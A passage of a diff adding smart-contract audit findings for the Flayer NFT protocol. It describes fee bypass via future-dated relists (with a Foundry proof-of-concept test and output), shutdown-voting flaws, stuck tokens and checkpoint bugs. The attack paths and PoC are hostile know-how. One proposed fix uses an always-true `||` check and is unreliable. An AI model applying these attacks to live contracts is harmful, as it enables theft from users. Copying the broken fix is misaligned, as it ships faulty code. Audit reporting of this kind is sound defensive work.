+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
++ _listings.protectedListings().createCheckpoint(_collection);
+
+ emit TokenDeposit(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+
+Adjust the code in `ProtectedListings.sol` as follows:
+```diff
+ function createCheckpoint(address _collection) public returns (uint index_) {
+- if (msg.sender != address(_listings)) revert CallerIsNotListingsContract();
++ if (msg.sender != address(_listings) || msg.sender != address(_locker)) revert CallerIsNotListingsOrLockerContract();
+ return _createCheckpoint(_collection);
+ }
+```
\ No newline at end of file
diff --git a/001/373.md b/001/373.md
new file mode 100644
index 0000000..2834516
--- /dev/null
+++ b/001/373.md
@@ -0,0 +1,181 @@
+Skinny Coconut Parrot
+
+High
+
+# Users can obtain about a floor liquidity for any liquid duration without paying any fees.
+
+### Summary
+
+When relisting, user can set any creation time (`listing.created`) for the listing. So the user can set it to a time in the future and all attempts to fill/relist/reserve the listing before that time will be reverted. When the creation time comes, the user can cancel the listing without paying any fees as the duration of the listing has just begun and all prepaid fees will be refunded. Therefore, users can gain access to about 1 floor liquidity without paying any fees by using two addresses, one for creating listing and one for relisting.
+
+
+
+### Root Cause
+
+In `Listings.sol#relist`, it just stores the user inputed `listing` into the listing mappings (`Listings.sol:670`). So the user can specify the `listing.created` to a time in the future.
+```solidity
+// Function: Listings.sol#relist
+
+ // Store our listing into our Listing mappings
+665: _listings[_collection][_tokenId] = listing;
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+The user needs two addresses to work together to complete the attack.
+
+### Attack Path
+
+1. Alice has two wallet addresses: `_lister` and `_relister`.
+2. Alice first uses `_lister` to create a listing for his NFT, and `_relister` gets about 1 floor liquidity of collection token (`1 floor -
+fees` exactly)).
+3. Alice then uses `_relister` to relist the listing, and `_relister` pays the remaing value above the floor to `_lister`. Alice sets the new `listing.created` to a time in the future and a relative high price, so that no other users want to fill/relist/reserve the listing when it comes to the time of `listing.created`.
+4. No one can fill/relist/reserve the listing, as the listing is not available before the `listing.created` according to `getListingPrice`.
+```solidity
+// Function: Listings.sol#getListingPrice
+ // This is an edge case, but protects against potential future logic. If the
+ // listing starts in the future, then we can't sell the listing.
+ if (listing.created > block.timestamp) {
+859: return (isAvailable_, totalPrice);
+ }
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L855-L859
+
+5. When it comes to the time of `listing.created`, `_relister` cancels the listing and get all the prepaid fees back, as the duration has just begun and no fees will be charged for the relisted listing.
+6. Finally, Alice's collection token balance (`_lister` + `_relister`) remains the same as at the beginning, which is to say that Alice can obtain about a floor liquidity of the collection token for any valid liquid duration without paying any fees.
+
+
+### Impact
+
+This issue resulted in users being able to obtain some collection tokens without paying any fees during any valid liquid listing
+ period, which undermined the core functionality of the protocol.
+
+
+### PoC
+
+```solidity
+
+ function test_Relist() public {
+ address _lister = address(0x11111);
+ address _relister = address(0x22222);
+ erc721a.mint(_lister, 1);
+
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), _lister, 2 ether);
+ deal(address(token), _relister, 2 ether);
+
+ // save original balance
+ uint256 balanceOfLister = token.balanceOf(_lister);
+ uint256 balanceOfRelister = token.balanceOf(_relister);
+ uint256 escrowBalanceOfLister = listings.balances(_lister, address(token));
+ uint256 escrowBalanceOfRelister = listings.balances(_relister, address(token));
+ uint256 totalBalance0 = balanceOfLister + balanceOfRelister + escrowBalanceOfLister + escrowBalanceOfRelister;
+ console.log("[before]");
+ console.log(" lister: balance=%d, escrowBalance=%d", balanceOfLister, escrowBalanceOfLister);
+ console.log(" relister: balance=%d, escrowBalance=%d", balanceOfRelister, escrowBalanceOfRelister);
+ console.log(" total: balance=%d", totalBalance0);
+
+ uint[] memory _tokenIds = new uint[](1);
+
+ vm.startPrank(_lister);
+ erc721a.setApprovalForAll(address(listings), true);
+ _tokenIds[0] = 1;
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIds,
+ listing: IListings.Listing({
+ owner: payable(_lister),
+ created: uint40(block.timestamp),
+ duration: 100 days,
+ floorMultiple: 120
+ })
+ });
+ listings.createListings(_listings);
+ vm.stopPrank();
+
+ vm.startPrank(_relister);
+ token.approve(address(listings), 1 ether);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIds,
+ listing: IListings.Listing({
+ owner: payable(_relister),
+ created: uint40(block.timestamp + 150 days), // some time in the future
+ duration: 100 days,
+ floorMultiple: 120
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ vm.stopPrank();
+
+ // Someone tries to fill the listing before the listing started, but fails.
+ vm.warp(block.timestamp + 149 days);
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = 1;
+
+ vm.expectRevert(IListings.ListingNotAvailable.selector);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+
+ // Relister can cancel the listing anytime if he wants his token back and return the 1 floor liquidity.
+ vm.warp(block.timestamp + 1 days);
+ vm.startPrank(_relister);
+ token.approve(address(listings), type(uint).max);
+ listings.cancelListings(address(erc721a), _tokenIds, false);
+ vm.stopPrank();
+
+ // get new balance
+ balanceOfLister = token.balanceOf(_lister);
+ balanceOfRelister = token.balanceOf(_relister);
+ escrowBalanceOfLister = listings.balances(_lister, address(token));
+ escrowBalanceOfRelister = listings.balances(_relister, address(token));
+ uint256 totalBalance1 = balanceOfLister + balanceOfRelister + escrowBalanceOfLister + escrowBalanceOfRelister;
+ console.log("[after]");
+ console.log(" lister: balance=%d, escrowBalance=%d", balanceOfLister, escrowBalanceOfLister);
+ console.log(" relister: balance=%d, escrowBalance=%d", balanceOfRelister, escrowBalanceOfRelister);
+ console.log(" total: balance=%d", totalBalance1);
+
+ assertEq(erc721a.ownerOf(1), _relister);
+ assertEq(totalBalance0, totalBalance1);
+ }
+```
+Add the above test case to `Listings.t.sol`, and test it with `forge test -vv --match-test=test_Relist`, the reuslt is shown as:
+```solidity
+Ran 1 test for test/Listings.t.sol:ListingsTest
+[PASS] test_Relist() (gas: 990288)
+Logs:
+ [before]
+ lister: balance=2000000000000000000, escrowBalance=0
+ relister: balance=2000000000000000000, escrowBalance=0
+ total: balance=4000000000000000000
+ [after]
+ lister: balance=2994285714285714286, escrowBalance=205714285714285714
+ relister: balance=800000000000000000, escrowBalance=0
+ total: balance=4000000000000000000
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.23ms (1.77ms CPU time)
+
+Ran 1 test suite in 12.63ms (8.23ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+### Mitigation
+
+In `relist`, change the `listing.created` to `block.timestamp`.
+```solidity
+ // Store our listing into our Listing mappings
++ listing.created = uint40(block.timestamp);
+ _listings[_collection][_tokenId] = listing;
+```
\ No newline at end of file
diff --git a/001/375.md b/001/375.md
new file mode 100644
index 0000000..a8f4f0e
--- /dev/null
+++ b/001/375.md
@@ -0,0 +1,265 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `collectionShutdown` Contract Allows Normal Voting After Execution, Preventing Users from Receiving Compensation for Burned Tokens and NFTs sold
+
+## Summary
+In the `collectionShutdown` contract, a bug allows users to call the `vote` function even after the `execute` function has been called. This leads to a scenario where the collection can be canceled after execution, preventing users from claiming their rewards or compensation for burned tokens and sold NFTs
+
+## Vulnerability Detail
+The vulnerability arises from the ability to call `vote` after the execute function has already been invoked. This allows a user, after the collection is executed, to manipulate the system by re-enabling `canExecute` through voting. Consequently, the `cancel` function can be called, which deletes critical parameters like `sweeperPool`, leading to failed claims and effectively locking users out of their rewards.
+## Impact
+- Users lose their Funds that they were expecting
+### How it works
+1. 2 Users who own 50 % call `start` and `vote` with both of them having (1e24 x 2) with `4e24` Collection Tokens total supply
+2. The `(shutdownVotes >= params.quorumVotes)` executes and sets the `canExecute = true`
+3. Bob who owns an NFT comes and deposits then mints collection tokens (Increasing the supply to `5e24` Collection Tokens)
+4. The owner calls `execute` updating the new `newQuorum` (so Bob can be able to claim as he has supply), Deleting the Collection address and setting `canExecute = false` (`cancel` cannot be called)
+4. Bob comes and calls `vote` (As he had minted the Tokens), setting `canExecute = true` (`cancel` can now be called)
+5. Bob is mad that the collection he once bought was useless, he calls `cancel` which only checks (`canExecute = true`(Pass ✅) and Supply have increased (Pass ✅))
+6. `Cancel` Function now deletes the `_collectionParams[_collection]` which will cause `params.sweeperPool` to be address(0) and is checked when you call `claim` (reverts if its address(0))
+7. Now the `claim` function cannot be called
+8. Overall Users cannot claim and the reason for that was because of the `canExecute = true` executed at `vote` by Bob
+
+
+## Code Snippet
+1. `Start` Function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-#L157
+
+Start
+
+```solidity
+ function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+ // Cast our vote from the user
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
+
+
+2. `vote` Function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175-L214
+
+Vote
+
+```solidity
+ function vote(address _collection) public nonReentrant whenNotPaused {
+ // Ensure that we are within the shutdown window
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+
+ /**
+ * Processes the logic for casting a vote.
+ *
+ * @param _collection The collection address
+ * @param params The collection shutdown parameters
+ *
+ * @return The updated shutdown parameters
+ */
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+ }
+```
+
+
+3. `execute` Function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275
+
+Execute
+
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+
+
+4. `Claim` and `Claim&Vote` Function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275
+
+Claim
+
+```solidity
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Burn the tokens from our supply
+ params.collectionToken.burn(claimableVotes);
+
+ // Set our available tokens to claim to zero
+ delete shutdownVoters[_collection][_claimant];
+
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+ }
+
+ /**
+ * Users that missed the initial voting window can still claim, but it is more gas efficient to use this
+ * combined function.
+ *
+ * @param _collection The collection address
+ */
+ function voteAndClaim(address _collection) public whenNotPaused {
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+ params.collectionToken.burnFrom(msg.sender, userVotes);
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = payable(msg.sender).call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, msg.sender, userVotes, amount);
+ }
+```
+
+
+5. `Cancel` Function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+Cancel
+
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Users should only call the `voteAndClaim` after the `execute` call has been made, so restrict the `vote` function from being called after the `execute` call has been completed
\ No newline at end of file
diff --git a/001/377.md b/001/377.md
new file mode 100644
index 0000000..5dd160f
--- /dev/null
+++ b/001/377.md
@@ -0,0 +1,114 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `collectionShutdown` contract fails to return tokens to users who voted when `cancel` is called due to an increase in token supply causing the tokens to be stuck inside the contract
+
+## Summary
+The `collectionShutdown` contract fails to return or mint tokens to users who voted when the `cancel` function is triggered due to an increase in token supply. This results in users not being compensated for their taken tokens, causing a loss of assets as they cannot redeem their NFT without those taken tokens.
+
+## Vulnerability Detail
+Users who voted are expected to claim tokens equivalent to what was taken from them. The mapping `shutdownVoters[_collection][msg.sender]` is used to track these claims. But when the `cancel` is called, `_collectionParams[_collection]` is deleted, causing the `reclaimVote` function to revert.
+
+The `reclaimVote` function relies on `_collectionParams[_collection]` to fetch the collection Token address and send tokens to users using `params.collectionToken.transfer(msg.sender, userVotes)`. If the mapping entry is removed, `reclaimVote` will revert (for trying to use a zero address to send back tokens), preventing users from claiming their tokens using `reclaimVote`.
+
+## Impact
+If `_collectionParams[_collection]` is deleted, users will be unable to use `reclaimVote` to claim their tokens, as the function will revert. This could lead to lost claims and tokens being stuck.
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L214
+
+Snippet 1
+
+```solidity
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+}
+```
+
+
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+Snippet 2
+
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377
+
+Snippet 3
+
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+
+
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+- Ensure users who voted receive tokens equivalent to what they burned by using the `shutdownVoters[_collection][msg.sender]` mapping. This will allow them to claim their 1:1 Collection Token.
+- ⚠️ NOTICE: The `cancel` function deletes the `_collectionParams[_collection]` which is used when calling `reclaimVote` to send back the tokens with `params.collectionToken.transfer(msg.sender, userVotes)`
diff --git a/001/380.md b/001/380.md
new file mode 100644
index 0000000..b34dc0a
--- /dev/null
+++ b/001/380.md
@@ -0,0 +1,66 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# Non-existent checkpoint index is used when creating Protected Listings
+
+### Summary
+
+When creating new protected listings, a non-existent checkpoint index will be used when there are checkpoints for a collection. These protected listings can not be adjusted or unlocked until the non-existent checkpoint is created.
+
+### Root Cause
+
+In [`ProtectedListings::_createCheckpoint():564-567`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564-L567), the latest checkpoint is updated. However, the incorrect index is returned.
+
+```solidity
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ // @audit the correct index is `index_ - 1` since `index_` does not exist yet.
+ return index_;
+ }
+```
+
+### Internal pre-conditions
+
+1. At least 1 checkpoint has been created for a collection. This happens when a listing has been created for a collection. Every listing created afterward will experience this issue.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Anyone [creates a listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156) for a collection. This [creates a new checkpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L532-L557) when no checkpoints exist yet.
+2. Anyone [creates another listing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156) for the same collection in the same block. The latest [checkpoint is updated](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564-L567) but the checkpoint used for the new listing does not exist yet.
+
+### Impact
+
+All functions that use [`unlockPrice()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L614) are affected. The affected functions are:
+
+- [liquidateProtectedListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L431)
+- [adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L377)
+- [unlockPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L614)
+- [unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L295)
+- [getProtectedListingHealth()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L500)
+
+All affected functions called with the new listings [will revert](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L614) until the non-existent checkpoint is created. This will happen for every new listing.
+
+ref: [`ProtectedListings::unlockPrice():614`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L614)
+```solidity
+ // @audit this will revert due to out-of-bounds access until the non-existent checkpoint is created.
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+```
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifying `unlockPrice()` to return the correct index.
+
+ref: [`ProtectedListings::unlockPrice():566`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L566)
+```solidity
+- return index_;
++ return index_ - 1;
+```
\ No newline at end of file
diff --git a/001/382.md b/001/382.md
new file mode 100644
index 0000000..834b827
--- /dev/null
+++ b/001/382.md
@@ -0,0 +1,115 @@
+Fancy Emerald Lark
+
+High
+
+# DOS to `withdrawProtectedListing`
+
+## Summary
+Root cause : weak locker validation on `locker.isListing`
+Impact: The unlocked user cannot withdraw his NFT, and also the NFT that attacker swapped his NFT into unlocker user's, will forever be locked in the Locker. So loss of funds to protected listing unlocker.
+
+See recommendation section for faster understanding.
+## Vulnerability Detail
+
+Issue flow :
+1. The user has already created a protected listing on BAYC 25
+2. Then after 2 days wants to unlock it and withdraw the nft by paying the debt, so he calls `ProtectedListings.unlockProtectedListing` with `bool _withdraw = false`, so BAYC 25 is still inside the locker contract and he can withdraw it by calling `withdrawProtectedListing` whenever he likes because on line 306 below `canWithdrawAsset` is set to the user.
+3. then after few hours, user will call `withdrawProtectedListing` to withdraw his BAYC 25. But it will revert on line 337 which will call `Locker.withdrawToken`
+4. It reverts becasue BAYC 25 is not inside the locker, someone swapped BAYC 100 to BAYC 25 in between the user's unlock_protected_listing and this call's withdraw listing.
+5. It is possible because of weak validation in `Locker.isListing` on Line 435 below. The validation is done in order to stp redeem/swapping the tokens that are inside the listing (liquid/dutch/protected). It checks by calling `listings(_collection, _tokenId).owner` whether 0 address or some user, but on Line 299 in `ProtectedListings.unlockProtectedListing` below, the owner is cleared.
+6. So technically anyone can redeem/swap this BAYC 25. the isListing check should also check whether the state of `canWithdrawAsset[_collection][_tokenId]` is also a 0 address or not. Allow to swap/redeem only if the `canWithdrawAsset` state is 0 address.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314-L350
+
+```solidity
+ProtectedListings.sol
+270: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+---- SNIP ----
+299: >> delete _protectedListings[_collection][_tokenId];
+300:
+302: if (_withdraw) {
+303: locker.withdrawToken(_collection, _tokenId, msg.sender);
+304: emit ListingAssetWithdraw(_collection, _tokenId);
+305: } else {
+306: >>> canWithdrawAsset[_collection][_tokenId] = msg.sender;
+307: }
+---- SNIP ----
+314: }
+
+328: function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+330: address _owner = canWithdrawAsset[_collection][_tokenId];
+331: if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
+332:
+334: delete canWithdrawAsset[_collection][_tokenId];
+335:
+337: >>> locker.withdrawToken(_collection, _tokenId, msg.sender);
+339: }
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L241-L246
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L447
+
+```solidity
+Locker.sol
+
+217: function swap(address _collection, uint _tokenIdIn, uint _tokenIdOut) public nonReentrant whenNotPaused collectionExists(_collection) {
+---- SNIP ----
+222: >>> if (isListing(_collection, _tokenIdOut)) revert TokenIsListing(_tokenIdOut);
+223:
+225: IERC721(_collection).transferFrom(msg.sender, address(this), _tokenIdIn);
+228: IERC721(_collection).transferFrom(address(this), msg.sender, _tokenIdOut);
+229:
+231: }
+
+
+425: function isListing(address _collection, uint _tokenId) public view returns (bool) {
+426: IListings _listings = listings;
+427:
+429: if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+430: return true;
+431: }
+432:
+435: >>> if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+436: return true;
+437: }
+438:
+439: return false;
+440: }
+
+```
+
+## Impact
+The protected listing unlocker who unlocked with `bool _withdraw = false`, his NFT can be swapped/redeemed by anyone and he cannot redeem his token ever again. Loss of funds to user, so high severity
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314-L350
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L241-L246
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L447
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L447
+
+```diff
+ function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+- if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
++ if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0) ||
